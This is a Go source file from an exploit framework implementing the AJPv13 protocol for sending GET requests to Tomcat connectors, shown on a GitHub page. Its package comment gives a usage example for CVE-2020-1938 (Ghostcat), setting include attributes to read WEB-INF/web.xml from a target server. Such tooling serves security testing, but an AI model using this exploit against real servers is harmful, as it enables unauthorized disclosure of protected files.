-
Notifications
You must be signed in to change notification settings - Fork 36
/
Copy pathajp.go
326 lines (276 loc) · 8.41 KB
/
ajp.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
// Package ajp is a very basic (and incomplete) implementation of the AJPv13 protocol. This implementation is
// enough to send and receive GET requests. Usage example (CVE-2020-1938):
//
// attributes := []string{
// "javax.servlet.include.request_uri",
// "/",
// "javax.servlet.include.path_info",
// "WEB-INF/web.xml",
// "javax.servlet.include.servlet_path",
// "/",
// }
//
// status, data, ok := ajp.SendAndRecv(conf.Rhost, conf.Rport, conf.SSL, "/"+random.Letters(12), "GET", []string{}, attributes)
// if !ok {
// return false
// }
// if status != 200 {
// return false
// }
//
// For details on the protocol see: https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
package ajp
import (
"encoding/binary"
"net"
"strings"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/protocol"
"github.com/vulncheck-oss/go-exploit/transform"
)
type method byte
const (
OPTIONS method = 1
GET method = 2
HEAD method = 3
POST method = 4
PUT method = 5
DELETE method = 6
)
type reqType byte
const (
FORWARD reqType = 2
SHUTDOWN reqType = 7
PING reqType = 8
CPING reqType = 10
)
type respType byte
const (
SENDBODYCHUNK respType = 3
SENDHEADERS respType = 4
ENDRESPONSE respType = 5
)
type definedHeaders uint16
const (
ACCEPT definedHeaders = 0xa001
ACCEPTCHARSET definedHeaders = 0xa002
ACCEPTENCODING definedHeaders = 0xa003
ACCEPTLANGUAGE definedHeaders = 0xa004
AUTHORIZATION definedHeaders = 0xa005
CONNECTION definedHeaders = 0xa006
CONTENTTYPE definedHeaders = 0xa007
CONTENTLENGTH definedHeaders = 0xa008
COOKIE definedHeaders = 0xa009
COOKIE2 definedHeaders = 0xa00a
HOST definedHeaders = 0xa00b
PRAGMA definedHeaders = 0xa00c
REFERER definedHeaders = 0xa00d
USERAGENT definedHeaders = 0xa00e
)
// A data structure for holding Forward Request data before serialization.
type ForwardRequest struct {
prefixCode int
method method
protocol string
reqURI string
remoteAddr string
remoteHost string
serverName string
serverPort int
useSSL bool
headers []string
attributes []string
}
// Creates a Forward Request struct and default constructs it.
func createForwardRequest(host string, port int, ssl bool, uri string, headers []string, attributes []string) ForwardRequest {
request := ForwardRequest{}
request.prefixCode = 0x02
request.protocol = "HTTP/1.1"
request.reqURI = uri
request.remoteAddr = host
request.remoteHost = ""
request.serverName = host
request.serverPort = port
request.useSSL = ssl
request.headers = make([]string, 0)
request.headers = append(request.headers, "host")
request.headers = append(request.headers, host)
request.headers = append(request.headers, headers...)
request.attributes = make([]string, 0)
request.attributes = append(request.attributes, attributes...)
return request
}
// Sets the ForwardRequest method to GET and sets the content-length to 0.
func setGetForwardRequest(request *ForwardRequest) {
request.method = GET
request.headers = append(request.headers, "content-length")
request.headers = append(request.headers, "0")
}
// Transforms a string into the AJP binary format.
func appendString(serialized *[]byte, value string) {
data := *serialized
if len(value) == 0 {
data = append(data, "\xff\xff"...)
} else {
data = append(data, transform.PackBigInt16(len(value))...)
data = append(data, value...)
data = append(data, 0x00)
}
*serialized = data
}
// Transforms a bool into the AJP binary format.
func appendBool(serialized *[]byte, value bool) {
data := *serialized
if value {
data = append(data, 1)
} else {
data = append(data, 0)
}
*serialized = data
}
// Transforms an int into the AJP binary format.
func appendInt(serialized *[]byte, value int) {
data := *serialized
data = append(data, transform.PackBigInt16(value)...)
*serialized = data
}
// Transforms the ForwardRequests struct into a []byte to be sent on the wire.
func serializeForwardRequest(request ForwardRequest) []byte {
serialized := make([]byte, 0)
serialized = append(serialized, byte(FORWARD))
serialized = append(serialized, byte(request.method))
appendString(&serialized, request.protocol)
appendString(&serialized, request.reqURI)
appendString(&serialized, request.remoteAddr)
appendString(&serialized, request.remoteHost)
appendString(&serialized, request.serverName)
appendInt(&serialized, request.serverPort)
appendBool(&serialized, request.useSSL)
appendInt(&serialized, len(request.headers)/2)
// take use provided headers and translate them into AJP pre-defined headers
for _, header := range request.headers {
switch header {
case "accept":
appendInt(&serialized, int(ACCEPT))
case "host":
appendInt(&serialized, int(HOST))
case "content-length":
appendInt(&serialized, int(CONTENTLENGTH))
case "connection":
appendInt(&serialized, int(CONNECTION))
case "user-agent":
appendInt(&serialized, int(USERAGENT))
default:
appendString(&serialized, header)
}
}
for i := 0; i < len(request.attributes); i += 2 {
serialized = append(serialized, 0x0a)
appendString(&serialized, request.attributes[i])
appendString(&serialized, request.attributes[i+1])
}
// terminate
serialized = append(serialized, 0xff)
header := make([]byte, 0)
header = append(header, 0x12)
header = append(header, 0x34)
header = append(header, transform.PackBigInt16(len(serialized))...)
serialized = append(header, serialized...)
return serialized
}
// validate the magic received from the server.
func checkRecvMagic(conn net.Conn) bool {
magic, ok := protocol.TCPReadAmount(conn, 2)
if !ok {
return false
}
return magic[0] == 0x41 && magic[1] == 0x42
}
// Read a response from the server. Generally: magic, length, <length amount>.
func readResponse(conn net.Conn) (string, bool) {
if !checkRecvMagic(conn) {
output.PrintFrameworkDebug("Received invalid magic")
return "", false
}
length, ok := protocol.TCPReadAmount(conn, 2)
if !ok {
return "", false
}
toRead := int(binary.BigEndian.Uint16(length))
if toRead == 0 {
output.PrintFrameworkError("The server provided an invalid message length")
return "", false
}
data, ok := protocol.TCPReadAmount(conn, toRead)
if !ok {
return "", false
}
return string(data), true
}
// Reads the response from the server. Generally should be: send headers, send body chunk, end response
// return the HTTP status, data, and bool indicating if we were successful or not.
func readRequestResponse(conn net.Conn) (int, string, bool) {
headers, ok := readResponse(conn)
if !ok {
return 0, "", false
}
if len(headers) < 10 {
output.PrintFrameworkError("Received insufficient data")
return 0, "", false
}
if headers[0] != byte(SENDHEADERS) {
output.PrintFrameworkError("Received unexpected message type")
return 0, "", false
}
status := int(binary.BigEndian.Uint16([]byte(headers[1:3])))
allData := ""
for {
body, ok := readResponse(conn)
if !ok {
return status, "", false
}
switch body[0] {
case byte(SENDBODYCHUNK):
allData += body[3:]
case byte(ENDRESPONSE):
return status, allData, true
default:
output.PrintFrameworkError("Unexpected message type")
return status, "", false
}
}
}
// Send and recv an AJP message.
// return the HTTP status, data, and bool indicating if we were successful or not.
func SendAndRecv(host string, port int, ssl bool, uri string, verb string, headers []string, attributes []string) (int, string, bool) {
// validate headers is well formed
if (len(headers) % 2) != 0 {
output.PrintFrameworkError("HTTP header key, value should each take an array slot")
return 0, "", false
}
// validate attributes is well formed
if (len(attributes) % 2) != 0 {
output.PrintFrameworkError("Attibute key, value should each take an array slot")
return 0, "", false
}
// build the AJP request and transform it depending on the verb
req := createForwardRequest(host, port, ssl, uri, headers, attributes)
switch strings.ToLower(verb) {
case "get":
setGetForwardRequest(&req)
default:
output.PrintFrameworkError("%s is not a currently supported verb", verb)
return 0, "", false
}
// connect to the remote host
conn, ok := protocol.MixedConnect(host, port, ssl)
if !ok {
return 0, "", false
}
// serialize the request into it's binary format and yeet it over the wire
serialized := serializeForwardRequest(req)
if !(protocol.TCPWrite(conn, serialized)) {
return 0, "", false
}
return readRequestResponse(conn)
}